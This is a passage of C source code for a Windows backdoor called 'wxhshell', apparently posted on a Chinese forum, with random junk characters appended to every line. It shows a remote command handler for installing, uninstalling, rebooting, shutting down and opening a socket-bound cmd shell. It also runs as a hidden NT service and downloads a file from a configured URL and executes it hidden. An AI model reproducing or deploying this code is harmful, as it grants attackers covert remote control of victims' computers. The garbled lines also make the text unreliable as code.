  #x%'U}sF  
  // 帮助 XC4Z,,ah"  
  case '?': { ,g`%+s7u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c}x1-d8  
    break; X'9.fKp  
  } X|M!Nt0'  
  // 安装 E-MPFL  
  case 'i': { +jN}d=N-  
    if(Install()) !XA3G`}p6s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7p&jSOY  
    else XX;4A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 30Yis_l2h  
    break; bdUPo+  
    } "}]`64?  
  // 卸载 # kI>  
  case 'r': { R#(0C(FI^  
    if(Uninstall()) F /b`[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X>%nzY]m  
    else 3P>gDQP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _`$LdqgE  
    break;  )vr@:PE  
    } j)1yv.  
  // 显示 wxhshell 所在路径 uGKjZi  
  case 'p': { e5h*GKF  
    char svExeFile[MAX_PATH]; .u`[|: K  
    strcpy(svExeFile,"\n\r"); q!K :N?  
      strcat(svExeFile,ExeFile); D-3[# ~MV  
        send(wsh,svExeFile,strlen(svExeFile),0); Ae)xFnuq3  
    break; 4 23zX6  
    } r;cDYg  
  // 重启 WKf<% E$  
  case 'b': { gU9{~-9}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mp|pz%U  
    if(Boot(REBOOT)) GnV0~?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <J[ le=  
    else { XGlt^<`  
    closesocket(wsh); Urj*V0^  
    ExitThread(0); @WJ;T= L  
    } oL4W>b )  
    break; We+rFk1ddt  
    } -F[8 ZiZ  
  // 关机 ^s,3*cAU  
  case 'd': { yr]ja-Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \}-4(Xdaq  
    if(Boot(SHUTDOWN)) y)f.ON36I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !`ol&QQ#  
    else { 1I Yip\:lS  
    closesocket(wsh); _iwG'a[`  
    ExitThread(0); 4" @<bKx  
    } aCQtE,.  
    break; N gNGq\!  
    } Hg+<GML  
  // 获取shell P{L=u74b{x  
  case 's': { 7GA8sK  
    CmdShell(wsh); Wj{lb_Rj  
    closesocket(wsh); B|(g?  
    ExitThread(0); F[qXIL)  
    break; t2&kGf"  
  } :WhJDx`j  
  // 退出 sW^M  ]  
  case 'x': { &K[*vyD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5 s7BUT  
    CloseIt(wsh);  CB7dr&>  
    break; =j]y?;7q  
    } w+o5iPLX  
  // 离开 ];r! M0  
  case 'q': { {f*Y}/@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :\T Mm>%q  
    closesocket(wsh); >T$0*7wF  
    WSACleanup(); W? 7l-k=S  
    exit(1); G1:}{a5i_  
    break; EIi<g2pM(  
        } %lKw+D  
  } hW7u#PY  
  } 9O[IR)O~  
[X(m[u'%  
  // 提示信息 jzvK;*N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {sTf4S\S  
} n}p G&&;q  
  } ~NGM6+9  
rOIb9:  
  return; i4C{3J^  
} ?2<QoS  
",r v%i2 f  
// shell模块句柄 G  hM  
int CmdShell(SOCKET sock) @uSO~. 7  
{ Jcw^Z,  
STARTUPINFO si; 6#w>6g4V~R  
ZeroMemory(&si,sizeof(si)); G,8mFH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QE<Z@/V*a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OqGp|`  
PROCESS_INFORMATION ProcessInfo; (qcFGM22U  
char cmdline[]="cmd"; $C16}^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OT#@\/>  
  return 0; +)jUA]hJ/  
} F)P:lvp<r  
z*3b2nV  
// 自身启动模式 o'Bd. B  
int StartFromService(void) 6:1`lsP  
{ tldT(E6  
typedef struct [i.@q}c~E  
{ vrn4yHoZ  
  DWORD ExitStatus; t]c<HDCK  
  DWORD PebBaseAddress; YOxgpQ:i  
  DWORD AffinityMask; cS&KD@.  
  DWORD BasePriority; O7.V>7Y9H  
  ULONG UniqueProcessId; ]&'!0'3`  
  ULONG InheritedFromUniqueProcessId; o.s'0xP]  
}   PROCESS_BASIC_INFORMATION; (6,:X  
AvL /gt:  
PROCNTQSIP NtQueryInformationProcess; %$BRQ-O  
7uBx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j }~?&yB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {uDW<u_!  
8lQ/cGAc  
  HANDLE             hProcess; hzD)yf  
  PROCESS_BASIC_INFORMATION pbi; H4i}gdR  
ODJ"3 J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N=mvr&arP  
  if(NULL == hInst ) return 0; f/\!=sa:  
8 Ku9;VEk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g pciv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g$(Y\`zw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y"?`MzcJ0  
(>`_N%_  
  if (!NtQueryInformationProcess) return 0; 4^(x)r &(?  
e9acI>^w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3s\UU2yr  
  if(!hProcess) return 0; ] 0i[=  
b+s'B4@rb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @6UY4vq9  
>N3X/8KL%  
  CloseHandle(hProcess); <Qq {&,Le  
A;!5c;ftj,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]t[%.^5#  
if(hProcess==NULL) return 0; eDd& vf  
mF gqM:  
HMODULE hMod; sbvP1|P8%  
char procName[255]; }0 ~$^J  
unsigned long cbNeeded; ^C gg1e1  
wXNng(M7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \mF-L,yu  
.M6. ]H  
  CloseHandle(hProcess); Ust +g4  
5%'ybh)@   
if(strstr(procName,"services")) return 1; // 以服务启动 m?-)SA  
l6zAMyau5  
  return 0; // 注册表启动 R;"$PH D  
} Hc/7x).  
a- *sm~u  
// 主模块 qMaO1cE\  
int StartWxhshell(LPSTR lpCmdLine) nS#F*)  
{ 4lo7yx  
  SOCKET wsl; 6@aH2+4+  
BOOL val=TRUE; $#^3>u  
  int port=0; pIIp61=$  
  struct sockaddr_in door; :7@[=n  
tFcQ.1  
  if(wscfg.ws_autoins) Install(); W{Qb*{9  
Cq@7oi]W0  
port=atoi(lpCmdLine); azZ|T{S  
pyf'_  
if(port<=0) port=wscfg.ws_port; 5REH`-  
 2  
  WSADATA data; <\*)YKjn/@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {F_>cyR  
\Vv)(/q{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    7]@M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^uo,LTq+  
  door.sin_family = AF_INET; J^t0M\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 52^3N>X4X  
  door.sin_port = htons(port); [\F:NLjiUy  
H28-;>'`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M5[#YG'FlQ  
closesocket(wsl); ks$5$,^T2o  
return 1; t<`wK8)  
} *K>2B99TXu  
-/3h&g  
  if(listen(wsl,2) == INVALID_SOCKET) { {? yRO]  
closesocket(wsl); 2w8YtM3+"z  
return 1; Q3r]T.].h  
} 4Zjd g`  
  Wxhshell(wsl); va~:Ivl-)  
  WSACleanup(); 7|Vpk&.>  
@"cnPLh&  
return 0; Pf8_6z_  
[:,|g;=Y}  
} uUl ;}W  
c[1{>z{G  
// 以NT服务方式启动 4o''C |ND  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qZQm*q(jM  
{ B'Nvl#  
DWORD   status = 0; FpttH?^  
  DWORD   specificError = 0xfffffff; 6 y"r '  
2+|r*2_glo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .K940& Ui  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qoan<z7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `U?S 9m  
  serviceStatus.dwWin32ExitCode     = 0; mGz'%?zj  
  serviceStatus.dwServiceSpecificExitCode = 0; sS)tSt{C  
  serviceStatus.dwCheckPoint       = 0; zv1,DnkqF  
  serviceStatus.dwWaitHint       = 0; $IKN7  
cLp9|y0r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WnQ'I=E#~  
  if (hServiceStatusHandle==0) return; AzGbvBI&V  
rI)&.5^  
status = GetLastError(); hAi'|;g  
  if (status!=NO_ERROR) fk#Ggp<  
{ 4P2p|Gc3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ),<h6$  
    serviceStatus.dwCheckPoint       = 0; (1,4egMpR  
    serviceStatus.dwWaitHint       = 0; uxrNkZia  
    serviceStatus.dwWin32ExitCode     = status; 4pDZ +}p  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kd#64NSi$A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PHsM)V+  
    return; NFU=PS$  
  } G4F~V't  
#.j:P#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9Up> e  
  serviceStatus.dwCheckPoint       = 0; Rlr[uU_  
  serviceStatus.dwWaitHint       = 0; Yk4ah$}%-^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xoSBMf  
} 6yaWxpW  
p8y<:8I  
// 处理NT服务事件,比如:启动、停止 +'e3YF+'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yC }x6xG  
{ g2lv4Tiq-  
switch(fdwControl) B*Q.EKD8s  
{ a 0FU[*q  
case SERVICE_CONTROL_STOP: ? !34qh  
  serviceStatus.dwWin32ExitCode = 0; E;a9RV|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WsM/-P1Y  
  serviceStatus.dwCheckPoint   = 0; bF@iO316H  
  serviceStatus.dwWaitHint     = 0; ^w RD|  
  { P.|g4EdND  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~fA H6FdZ\  
  } zpcm`z  
  return; lVb;,C%K  
case SERVICE_CONTROL_PAUSE: Z}O0DfT;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `O=LQ m`  
  break; M+Y^A7  
case SERVICE_CONTROL_CONTINUE: Z*5]qh2r8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z:$TW{%M  
  break; P[cGCmM  
case SERVICE_CONTROL_INTERROGATE: YAF0I%PYU  
  break; qr/N?,  
}; \AR3DDm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 dCqS  
} iu,Bmf^oD  
6? (8KsaN  
// 标准应用程序主函数 dZbG#4oO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )ULxB'Dm  
{ %hzNkyD)Y  
*!(?=9[  
// 获取操作系统版本 p4zV<qZ>e  
OsIsNt=GetOsVer(); q->46{s|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fI(H :N  
M7lMOG (\  
  // 从命令行安装 hmd,g>J:<  
  if(strpbrk(lpCmdLine,"iI")) Install(); jr5x!@rb  
W/R-~C e  
  // 下载执行文件 fm% Y*<Y"  
if(wscfg.ws_downexe) { Y)4D$9:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~oBSf+N  
  WinExec(wscfg.ws_filenam,SW_HIDE); xZ"kJ'C4}  
} t #g6rh&  
4fzM%ku  
if(!OsIsNt) { z[, `  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;,&1  
HideProc(); u"n ~ 9!G  
StartWxhshell(lpCmdLine); 4~r=[|(aY  
} \E<)B#  
else My'6 yQL  
  if(StartFromService()) 4a~9?}V:  
  // 以服务方式启动 4B8{\ "6  
  StartServiceCtrlDispatcher(DispatchTable); pRdO4?l  
else &"svt2  
  // 普通方式启动 h:+>=~\  
  StartWxhshell(lpCmdLine); ZjJEjw  
T+/Gz'  
return 0; 2\!.w^7'^T  
}
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只看该作者 1 发表于: 2006-10-10
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